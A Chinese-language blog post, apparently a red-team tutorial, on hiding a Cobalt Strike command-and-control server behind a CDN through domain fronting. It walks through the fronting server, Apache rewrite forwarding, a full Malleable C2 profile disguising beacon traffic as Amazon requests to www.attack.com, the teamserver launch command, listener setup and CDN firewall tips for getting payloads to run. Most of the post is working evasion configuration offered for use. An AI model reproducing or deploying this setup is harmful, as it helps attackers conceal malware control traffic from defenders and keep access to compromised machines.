C2隐匿之域前置


Domain Fronting

step1: apache or ngnix


1:首先需要一台前置服务器,以便流量中转。然后注册一个域名,如:attack.com


2:然后利用CDN解析域名到域前置服务器同时隐藏ip

有时候修改HTTP包内的Host头字段,会将HTTP包发送给Host指向的那个域名。这就是因为这两个网站域名都是使用了同一家的CDN,而CDN就是通过判断Host头进行流量转发的。
很多CDN都存在这个特性。因此CDN可以匿藏你的域前置服务器的ip.


step2: 域前置服务器的Rewrite设置


域前置服务器收到cs马的stage,需要转发给teamserver,这时候需要利用rewrite进行流量的转发。

这里可以利用脚本 生成apache 的rewrite配置代码。


step3:C2 Server自定义流量

配置C2 profile以设置CS生成payload的http请求参数,我这里直接使用并修改了harmj0y 在github上的项目Malleable-C2-Profiles 中的amazon.profile。

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

http-get {

    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

    client {

        header "Accept" "*/*";
        header "Host" "www.attack.com";

        metadata {
            base64;
            prepend "session-token=";
            prepend "skin=noskin;";
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
            header "Cookie";
        }
    }

    server {

        header "Server" "Server";
        header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
        header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
        header "X-Frame-Options" "SAMEORIGIN";
        header "Content-Encoding" "gzip";

        output {
            print;
        }
    }
}

http-post {

    set uri "/N4215/adj/amzn.us.sr.aps";

    client {

        header "Accept" "*/*";
        header "Content-Type" "text/xml";
        header "X-Requested-With" "XMLHttpRequest";
        header "Host" "www.attack.com";

        parameter "sz" "160x600";
        parameter "oe" "oe=ISO-8859-1;";

        id {
            parameter "sn";
        }

        parameter "s" "3717";
        parameter "dc_ref" "http%3A%2F%2Fwww.attack.com";

        output {
            base64;
            print;
        }
    }

    server {

        header "Server" "Server";
        header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
        header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
        header "X-Frame-Options" "SAMEORIGIN";
        header "x-ua-compatible" "IE=edge";

        output {
            print;
        }
    }
}

这里将Host修改成我们申请到的域名就行了(www.attack.com),启动teamserver加载profile。

./teamserver 1.1.1.1 xxxx ./c2.profile


step4:C2-server 创建监听

完成之后,当目标执行payload 对你的域名 attack.com 发起 http://www.attack.com/xxxx 请求

配置监听器


此处连接的显示的ip为CDN的解析IP地址。此时域前置将请求转发到真正的C2-server,然后得到响应payload的stager。

payload执行


C2-server 上线成功

payload执行


Tips:记录几个坑点

  1. 测试Rewrite配置是否正确启动
  2. CDN会拦截请求,导致文件执行失败,需要设置CDN防火墙

参考链接:
https://xz.aliyun.com/t/7758
https://www.lz1y.cn/2019/03/21/红队基础建设-隐藏你的C2-server/


文章作者: augu5t
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 augu5t !
  目录